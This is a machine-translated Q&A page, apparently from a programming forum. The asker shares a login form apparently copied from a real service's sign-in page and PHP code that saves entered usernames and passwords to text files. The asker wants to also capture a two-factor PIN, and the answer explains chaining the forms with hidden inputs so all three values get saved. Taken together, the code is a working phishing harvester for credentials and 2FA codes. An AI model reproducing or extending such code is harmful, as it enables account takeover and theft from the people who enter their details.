目前我有两种形式,一种用于用户名和密码,另一种用于特殊身份验证引脚。
用户名和密码
<form action="#" method="POST" id="hello" onsubmit="return false;">
<div id="loadingGif" style="display:none"><img src="#"></div>
<input class="btn_green_white_innerfade btn_medium" type="submit"
name="submit" id="userLogin" value="Sign in" width="104" height="25"
border="0" tabindex="5" onclick="showDiv()">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username"
id="userAccountName" maxlength="64" tabindex="1" value=""><br> <br>
<label for="userPassword">Password</label><br>
<input class="textField" type="password" name="password"
id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left;
display: none;">It seems that you may be having trouble entering your
password. We will now show your password in plain text (login is still
secure).</div>
</div>
通过将/loginaction.php添加到action =&#34;&#34;,我能够使用PHP将用户名和密码输入写入文本文件,但是现在我想用同样的方法特殊的双因素引脚,将文件添加到action =&#34;&#34;,在div显示之前刷新页面,允许用户输入引脚,我需要帮助找到写入所有三个输入的方法进入这个文本文件,任何帮助将不胜感激,这是非常新的
显示输入代码的div的函数在这里
function showDiv() {
document.getElementById('userLogin').style.display = "none";
document.getElementById('loadingGif').style.display = "block";
setTimeout(function() {
document.getElementById('loadingGif').style.display = "none";
document.getElementById('showme').style.display = "block";
},2000);
}
写入文件的PHP代码是
<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("File written");
$txt = $_POST['username'] . ':' . $_POST['password'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:(";
?>
答案 0 :(得分:0)
你有点不清楚你在问什么。您似乎在问,如何使用一个表单创建用户名和密码,然后将它们重定向到另一个页面,让它们制作一个引脚,然后将所有这三个输入写入特定的文本文件?
忽略你可以在一个页面而不是你正在做的事情上做这两件事的事实,你只需将你的相关信息发布到链中的下一页。
用户名&amp;密码表格 - &gt; POSTS TO - &gt; PIN码表格 - &gt; POSTS TO - &gt;处理表格,其中所有三位信息被处理成上述文本文件。
您只需将用户名和密码表单中的信息转发为密码表单中的隐藏输入。